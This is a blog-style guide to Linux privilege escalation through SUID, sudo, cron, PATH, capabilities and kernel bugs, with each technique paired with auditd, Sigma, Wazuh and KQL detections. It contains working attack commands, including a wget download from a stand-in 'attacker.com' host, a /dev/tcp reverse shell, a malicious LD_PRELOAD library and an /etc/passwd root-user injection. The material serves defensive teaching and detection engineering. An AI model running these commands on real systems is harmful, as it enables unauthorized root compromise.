You compromised a web server. A shell drops as www-data — no sudo, no access to /etc/shadow, no way to pivot further. Forty minutes later, you’re root. This is the gap between initial foothold and full system compromise: Linux privilege escalation.
For defenders: every undetected privesc is a missed detection opportunity. This guide covers every major technique — and exactly how to catch each one.
TL;DR
- Linux privesc turns low-priv shells (
www-data, service accounts) into root- Six primary attack paths: SUID abuse, sudo misconfig, cron hijacking, PATH injection, capabilities, kernel exploits
- Tools: LinPEAS automates discovery; pspy reveals cron jobs without root access
- Every technique in this guide has auditd, Sigma, and Wazuh/Sentinel detection coverage
- Most misconfigurations take under 5 minutes to exploit — and months to detect without proper logging
Why This Matters
Initial access rarely gives you root. Attackers almost always land as a service account, www-data, or a low-privileged user. Privilege escalation is the bridge between “I’m in” and “I own this system.”
For red teamers: it’s a required post-exploitation phase before lateral movement, credential harvesting, or persistence. For blue teamers: it’s where most detections are missing — auditd is often disabled, sudo logs aren’t forwarded to SIEM, and cron file modifications generate zero alerts.
MITRE ATT&CK tactic: TA0004 — Privilege Escalation
Contents
- Phase 1: Reconnaissance
- SUID and SGID Abuse
- Sudo Misconfiguration
- Cron Job Hijacking
- PATH Injection
- Linux Capabilities
- Kernel Exploits
- Detection Reference
- Mitigations
- What You Can Do Today
Phase 1: Reconnaissance
Before exploiting anything, map the attack surface. Two tools do 90% of the work.
LinPEAS — automated enumeration
LinPEAS (Linux Privilege Escalation Awesome Script) scans for hundreds of misconfigurations automatically. Run it directly from memory to avoid writing to disk:
# From memory — no file on diskcurl -s https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null
# If curl isn't available, transfer and runwget http://attacker.com/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.shLinPEAS color-codes findings: red/yellow = likely exploitable. It checks SUID binaries, sudo rules, cron jobs, writable directories in PATH, capabilities, environment variables, and running processes.
pspy — watch cron jobs without root
pspy monitors process execution in real-time without requiring root privileges. It reveals scheduled tasks that aren’t visible in crontab files — because root cron jobs aren’t exposed to low-privileged users.
./pspy64 # watch for 5+ minutes to catch all scheduled tasksAttacker value: reveals hidden cron jobs that standard crontab -l won’t show.
Defender value: pspy running on a host is a strong indicator of active privilege escalation recon.
Manual quick checks
# Current identity and group membershipsid && groups
# What can this user run as root?sudo -l
# SUID and SGID binariesfind / -perm -4000 -o -perm -2000 2>/dev/null | grep -v proc
# Binaries with Linux capabilitiesgetcap -r / 2>/dev/null
# All cron jobs (system-wide)cat /etc/crontab; ls -la /etc/cron.*; crontab -l 2>/dev/null
# Writable directories in PATHecho $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type d 2>/dev/null
# World-writable files owned by rootfind / -writable -user root -type f 2>/dev/null | grep -v procSUID and SGID Abuse
SUID (Set User ID) — when this permission bit is set on a binary, it executes with the file owner’s privileges, not the caller’s. A root-owned binary with SUID set runs as root regardless of who invokes it.
SGID (Set Group ID) works the same way for group privileges.
Attack
# Enumerate SUID binariesfind / -perm -4000 -type f 2>/dev/null
# Example: SUID 'find' binary/usr/bin/find . -exec /bin/sh -p \; -quit# The -p flag preserves effective UID → drops to root shell
# Example: SUID vimsudo vim -c ':!/bin/bash'
# Example: SUID Pythonpython3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Example: SUID cp — overwrite /etc/passwdcp /etc/passwd /tmp/passwd.bakecho 'evil:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /tmp/passwd.bakcp /tmp/passwd.bak /etc/passwdsu evilGTFOBins (gtfobins.github.io) documents exploitation paths for hundreds of SUID binaries. If you find a non-standard SUID binary, GTFOBins tells you exactly how to abuse it.
MITRE: T1548.001 — Setuid and Setgid
Detection: auditd
# Flag processes that execute with euid=0 but were started by non-root-a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution-a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_executionThese rules trigger whenever a process runs with effective UID 0 (root) but was initiated by a non-root user — the direct signature of SUID abuse.
Detection: Sigma
title: SUID Binary Execution by Non-Root Userstatus: stabledescription: Detects SUID binary execution where euid=0 but initiating user is non-rootlogsource: product: linux service: auditddetection: selection: type: SYSCALL syscall: execve euid: '0' filter: auid: - '0' - '4294967295' # unset auid (daemons) condition: selection and not filterfalsepositives: - Legitimate SUID binaries: passwd, su, newgrp — tune by exe pathlevel: mediumtags: - attack.privilege_escalation - attack.t1548.001Detection: Wazuh
<rule id="100300" level="12"> <if_group>audit_command</if_group> <field name="audit.euid">0</field> <field name="audit.auid" negate="yes">0</field> <description>Possible SUID abuse: non-root user spawned root-privilege process</description> <group>privilege_escalation,suid_abuse,</group> <mitre> <id>T1548.001</id> </mitre></rule>Sudo Misconfiguration
sudo lets specified users run commands as other users — typically root. A misconfigured sudoers file is the most commonly exploited privilege escalation vector in enterprise Linux environments.
NOPASSWD entries
sudo -l# Exploit: spawn a shell from within vimsudo vim -c ':!/bin/bash'Wildcards in sudo rules
# Sudoers entry:# user ALL=(root) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py
# Exploit: path traversal bypasses the wildcard restrictionsudo /usr/bin/python3 /opt/scripts/../../../tmp/evil.pyLD_PRELOAD abuse
# Check: sudo -l shows env_keep+=LD_PRELOAD# Create a malicious shared library that runs at load time:cat > /tmp/evil.c << 'EOF'#include <unistd.h>void __attribute__((constructor)) init() { setuid(0); setgid(0); system("/bin/bash -p");}EOFgcc -shared -fPIC -o /tmp/evil.so /tmp/evil.csudo LD_PRELOAD=/tmp/evil.so /usr/bin/findMITRE: T1548.003 — Sudo and Sudo Caching
Detection: auditd
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_execution-w /etc/sudoers -p wa -k sudoers_modification-w /etc/sudoers.d/ -p wa -k sudoers_modificationDetection: Sigma
title: Sudo Used to Spawn Interactive Shellstatus: experimentaldescription: Detects sudo invocations that result in interactive shell executionlogsource: product: linux service: authdetection: keywords: - 'sudo.*: .* COMMAND=/bin/bash' - 'sudo.*: .* COMMAND=/bin/sh' - 'sudo.*: .* COMMAND=.*python.*-c' - 'sudo.*: .* COMMAND=.*perl -e' - 'sudo.*: .* COMMAND=/usr/bin/vim' - 'sudo.*: .* COMMAND=/usr/bin/less' - 'sudo.*: .* COMMAND=/usr/bin/env' condition: keywordslevel: hightags: - attack.privilege_escalation - attack.t1548.003Detection: Wazuh
Wazuh built-in rule 5402 handles sudo authentication failures. Add a custom rule for shell spawning:
<rule id="100301" level="14"> <if_sid>5402</if_sid> <regex type="pcre2">COMMAND=(\/bin\/bash|\/bin\/sh|vim|python|perl|less|env)</regex> <description>Sudo used to execute interactive shell — privilege escalation indicator</description> <group>privilege_escalation,sudo_abuse,</group> <mitre> <id>T1548.003</id> </mitre></rule>Cron Job Hijacking
Cron runs scheduled tasks — often as root. If the script a cron job calls is writable by low-privileged users, an attacker can inject commands that execute as root on the next scheduled run.
Writable script called by root cron
# /etc/crontab shows:# */5 * * * * root /opt/backup.sh
# Check permissions on the target script:ls -la /opt/backup.sh# -rwxrwxrwx root root ← world-writable, exploitable
# Append a reverse shell:echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' >> /opt/backup.sh# Wait up to 5 minutes for cron to execute it as rootPATH hijacking in cron
# /etc/crontab contains:# * * * * * root backup.sh ← no absolute path
# If /home/lowpriv/bin is writable and appears before system directories:cat > /home/lowpriv/bin/backup.sh << 'EOF'#!/bin/bashcp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashEOFchmod +x /home/lowpriv/bin/backup.sh# After cron runs: /tmp/rootbash -p → root shellMITRE: T1053.003 — Scheduled Task/Job: Cron
Detection: auditd
# Monitor all cron-related directories for file modifications-w /etc/crontab -p wa -k cron_modification-w /etc/cron.d/ -p wa -k cron_modification-w /etc/cron.daily/ -p wa -k cron_modification-w /etc/cron.hourly/ -p wa -k cron_modification-w /etc/cron.weekly/ -p wa -k cron_modification-w /var/spool/cron/ -p wa -k cron_modificationDetection: Sigma
title: Cron File Modified by Non-Root Userstatus: stabledescription: Detects modification to cron files or directories by non-privileged userslogsource: product: linux service: auditddetection: selection: type: PATH name|contains: - '/etc/cron' - '/var/spool/cron' key: cron_modification filter: auid: '0' condition: selection and not filterlevel: hightags: - attack.persistence - attack.privilege_escalation - attack.t1053.003Detection: Wazuh
Enable file integrity monitoring (FIM) on cron paths plus a custom alert:
<!-- ossec.conf — FIM for cron directories --><directories realtime="yes" check_all="yes" report_changes="yes"> /etc/crontab,/etc/cron.d,/etc/cron.daily,/var/spool/cron</directories>
<!-- custom rule triggered by FIM cron events --><rule id="100302" level="12"> <if_group>syscheck</if_group> <match>/etc/cron|/var/spool/cron</match> <description>Cron file modified — possible persistence or privilege escalation</description> <group>privilege_escalation,cron_modification,</group> <mitre> <id>T1053.003</id> </mitre></rule>PATH Injection
Linux resolves commands by searching directories listed in the $PATH environment variable from left to right. If a script runs a command without specifying its full path (e.g., backup instead of /usr/bin/backup) and a writable directory appears early in PATH, an attacker can plant a malicious binary with the same name.
# Root-owned SUID script calls 'id' without an absolute path:cat /usr/local/bin/check_status# #!/bin/bash# echo "System check by: $(id)"
# Inject a fake 'id' binary earlier in PATH:export PATH=/tmp:$PATHcat > /tmp/id << 'EOF'#!/bin/bashcp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashEOFchmod +x /tmp/id
# Execute the SUID script — it picks up /tmp/id instead of /usr/bin/id/usr/local/bin/check_status/tmp/rootbash -p # root shellMITRE: T1574.007 — Path Interception by PATH Environment Variable
Detection: auditd + Sigma
# Detect root-privilege processes spawned from writable directories-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/tmp -k suspicious_root_exec-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/dev/shm -k suspicious_root_exectitle: Root Process Executed from World-Writable Directorystatus: experimentaldescription: Root-privilege binary executed from /tmp, /dev/shm, or similar writable pathslogsource: product: linux service: auditddetection: selection: type: SYSCALL euid: '0' exe|contains: - '/tmp/' - '/dev/shm/' - '/var/tmp/' condition: selectionlevel: hightags: - attack.privilege_escalation - attack.t1574.007Linux Capabilities
Linux capabilities are a granular alternative to SUID — instead of granting full root, they give a binary specific elevated rights. cap_setuid lets a process change its UID to any user including root. cap_dac_override bypasses all file permission checks. Attackers who find these assigned to unexpected binaries get a clean privesc path.
# Enumerate all binaries with capabilitiesgetcap -r / 2>/dev/null
# Dangerous output example:# /usr/bin/python3.10 = cap_setuid+ep
# Exploit: cap_setuid allows direct UID changepython3 -c 'import os; os.setuid(0); os.system("/bin/bash")'Dangerous capabilities reference
| Capability | Risk | Exploit path |
|---|---|---|
cap_setuid | Critical | Change UID to 0 → instant root |
cap_dac_override | Critical | Read/write any file (including /etc/shadow) |
cap_sys_admin | Critical | Near-root — mount, ptrace, kernel operations |
cap_net_admin | High | Modify routing, intercept traffic |
cap_sys_ptrace | High | Attach to and inject code into any process |
cap_fowner | High | Bypass ownership checks on any file |
MITRE: T1548.001
Detection: auditd
# Monitor setuid/setreuid system calls and the setcap tool-a always,exit -F arch=b64 -S setuid -k setuid_syscall-a always,exit -F arch=b64 -S setreuid -k setuid_syscall-a always,exit -F arch=b64 -S setresuid -k setuid_syscall-w /sbin/setcap -p x -k capabilities_changeDetection: Sigma
title: Linux Capabilities Discoverystatus: stabledescription: Detects use of getcap/setcap — recon or modification of file capabilitieslogsource: product: linux service: auditddetection: selection: type: EXECVE a0|contains: - 'getcap' - 'setcap' condition: selectionlevel: mediumtags: - attack.discovery - attack.privilege_escalation - attack.t1548.001Detection: Sentinel KQL
Assumes auditd logs forwarded to Log Analytics workspace via Syslog or Azure Monitor Agent:
// Detect UID change syscalls from non-root processesSyslog| where ProcessName == "audit" or Facility == "kern"| where SyslogMessage has_any ("syscall=setuid", "syscall=setreuid", "syscall=setresuid")| where SyslogMessage has "euid=0"| where SyslogMessage !has "auid=0"| where SyslogMessage !has "auid=4294967295"| extend Host = Computer, AuditKey = extract(@"key=(\w+)", 1, SyslogMessage), ExePath = extract(@"exe=\"([^\"]+)\"", 1, SyslogMessage)| project TimeGenerated, Host, ExePath, AuditKey, SyslogMessage| order by TimeGenerated desc// Detect setcap execution (capability assignment to binaries)Syslog| where SyslogMessage has "setcap" and SyslogMessage has "execve"| project TimeGenerated, Computer, SyslogMessageKernel Exploits
When no misconfiguration is exploitable, target the kernel directly. Kernel exploits bypass all application-layer controls — they work regardless of sudo policy, file permissions, or AppArmor/SELinux configuration.
Kernel exploits are powerful but carry risk: a bug in exploit code can kernel-panic the system. They’re a last resort.
Notable kernel privesc vulnerabilities
| CVE | Name | Affected versions | Impact |
|---|---|---|---|
| CVE-2022-0847 | DirtyPipe | Linux 5.8–5.16 | Overwrite read-only files, root |
| CVE-2021-4034 | PwnKit | Any Linux with pkexec since 2009 | SUID pkexec heap overflow → root |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | Heap overflow → root |
| CVE-2019-13272 | PTRACE_TRACEME | Linux < 5.1.17 | User namespace privesc |
# Check kernel version firstuname -r && cat /etc/os-release
# Search for known exploitssearchsploit linux kernel $(uname -r | cut -d. -f1-3) privilege escalation
# Check if pkexec (PwnKit target) is SUIDls -la $(which pkexec)MITRE: T1068 — Exploitation for Privilege Escalation
Detection
Kernel exploits are difficult to detect at the application layer. Focus on:
auditd — detect DirtyPipe-style /proc/[pid]/mem writes:
-a always,exit -F arch=b64 -S write -F path=/proc/self/mem -k proc_mem_write-a always,exit -F arch=b64 -S open -F path=/proc/self/mem -F perm=w -k proc_mem_writeSigma — detect PwnKit exploitation pattern:
title: Suspicious pkexec Execution (PwnKit Pattern)status: experimentaldescription: Detects pkexec invocation patterns associated with CVE-2021-4034logsource: product: linux service: auditddetection: selection: type: EXECVE exe|endswith: '/pkexec' filter: a1|startswith: '/usr' condition: selection and not filterlevel: hightags: - attack.privilege_escalation - attack.t1068Sentinel KQL — flag privilege gain from unexpected parents:
// Detect processes that gained root UID from non-root parentSyslog| where SyslogMessage has "type=SYSCALL"| where SyslogMessage has "euid=0" and SyslogMessage has "ppid"| where SyslogMessage !has "auid=0"| extend ppid = extract(@"ppid=(\d+)", 1, SyslogMessage)| extend exe = extract(@"exe=\"([^\"]+)\"", 1, SyslogMessage)| where exe !in ("/usr/bin/sudo", "/usr/bin/su", "/usr/bin/newgrp", "/usr/bin/passwd")| project TimeGenerated, Computer, exe, ppid, SyslogMessageDetection Reference
Complete auditd ruleset for deploying all detections above in one file:
## /etc/audit/rules.d/privesc.rules## Linux Privilege Escalation Detection Rules
# SUID: non-root user spawns root-effective process-a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution-a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution
# Sudo: invocation and config changes-w /usr/bin/sudo -p x -k sudo_execution-w /etc/sudoers -p wa -k sudoers_modification-w /etc/sudoers.d/ -p wa -k sudoers_modification
# Cron: file and directory modifications-w /etc/crontab -p wa -k cron_modification-w /etc/cron.d/ -p wa -k cron_modification-w /etc/cron.daily/ -p wa -k cron_modification-w /etc/cron.hourly/ -p wa -k cron_modification-w /etc/cron.weekly/ -p wa -k cron_modification-w /var/spool/cron/ -p wa -k cron_modification
# Capabilities: UID change syscalls and setcap tool-a always,exit -F arch=b64 -S setuid -k setuid_syscall-a always,exit -F arch=b64 -S setreuid -k setuid_syscall-a always,exit -F arch=b64 -S setresuid -k setuid_syscall-w /sbin/setcap -p x -k capabilities_change
# PATH injection: root process in writable directory-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/tmp -k suspicious_root_exec-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/dev/shm -k suspicious_root_exec
# Kernel exploit pattern: /proc/mem writes-a always,exit -F arch=b64 -S write -F path=/proc/self/mem -k proc_mem_writeApply without reboot:
auditctl -R /etc/audit/rules.d/privesc.rulessystemctl reload auditdMITRE ATT&CK mapping
| Technique | Attack path | Detection key |
|---|---|---|
| T1548.001 | SUID/SGID abuse, Capabilities | suid_execution, setuid_syscall |
| T1548.003 | Sudo misconfig | sudo_execution, sudoers_modification |
| T1053.003 | Cron job hijacking | cron_modification |
| T1574.007 | PATH injection | suspicious_root_exec |
| T1068 | Kernel exploits | proc_mem_write + anomaly |
Mitigations
| Control | What it prevents |
|---|---|
Monthly SUID audit: find / -perm -4000 -type f | Detects unauthorized SUID binaries |
Remove unnecessary SUID bits: chmod u-s /path/to/binary | Eliminates SUID attack surface |
| No NOPASSWD or wildcards in sudoers | Removes sudo abuse paths |
| Use absolute paths in all cron scripts | Prevents PATH hijacking via cron |
chmod 750 /etc/cron.d /etc/cron.daily /etc/cron.weekly | Prevents world-writable cron injection |
Audit capabilities: getcap -r / 2>/dev/null | Identifies dangerous capability assignments |
setcap -r /path/to/binary for unnecessary capabilities | Eliminates capability-based escalation |
Keep kernel patched — subscribe to linux-security-announce | Closes kernel exploit windows |
| Run services as dedicated low-priv accounts (not root, not www-data) | Limits blast radius of initial access |
| Deploy auditd + forward logs to SIEM | Ensures detection coverage across all techniques |
What You Can Do Today
Red teamers:
- Run LinPEAS on your next engagement and document every yellow/red finding — most environments have at least one critical misconfiguration
- Run
pspy64for 5 minutes on any low-priv shell before manual enumeration — you’ll catch cron jobs that crontab listings miss - Check GTFOBins for every non-standard SUID binary: if it’s listed, you have a working privesc
Defenders:
- Deploy the auditd ruleset above — it takes under five minutes and covers all six attack paths in this guide
- Forward auditd logs to your SIEM — detections are useless if the logs aren’t there
- Run this command right now on each Linux host:
find / -perm -4000 -type f 2>/dev/null— investigate anything that isn’t a standard OS binary (passwd, su, ping, etc.) - Audit sudoers:
grep -i nopasswd /etc/sudoers /etc/sudoers.d/* 2>/dev/null— any result deserves review - Audit capabilities:
getcap -r / 2>/dev/null—cap_setuid=epon any interpreter (Python, Perl, Ruby) is a critical finding
Related Posts
- The Linux Server Attack Surface You Didn’t Install — default services that expand your attack surface before privesc even begins
- Rapid Compromise Triage: First 10 Minutes on Linux and Windows — what to look for immediately after detecting a breach
- Threat Hunting with Wazuh: Building Effective Detection Rules — how to write and deploy Wazuh detection rules in production
- LSASS Dumping Techniques and Detection — credential harvesting after privilege escalation (Windows equivalent)
- LOLBins in 2026: How Attackers Use Windows Against Itself — the Windows parallel to Linux capabilities and SUID abuse
Sources
- MITRE ATT&CK — Privilege Escalation TA0004
- MITRE ATT&CK — T1548: Abuse Elevation Control Mechanism
- MITRE ATT&CK — T1053.003: Scheduled Task/Job: Cron
- Splunk: Deep Dive on Persistence and Privilege Escalation in Linux
- Wazuh — Privilege Abuse Use Cases
- SigmaHQ — Linux auditd Rules
- Detection.FYI — Linux Capabilities Discovery Sigma Rule
- GTFOBins
- PEASS-ng / LinPEAS
- Neo23x0 — Production auditd Rules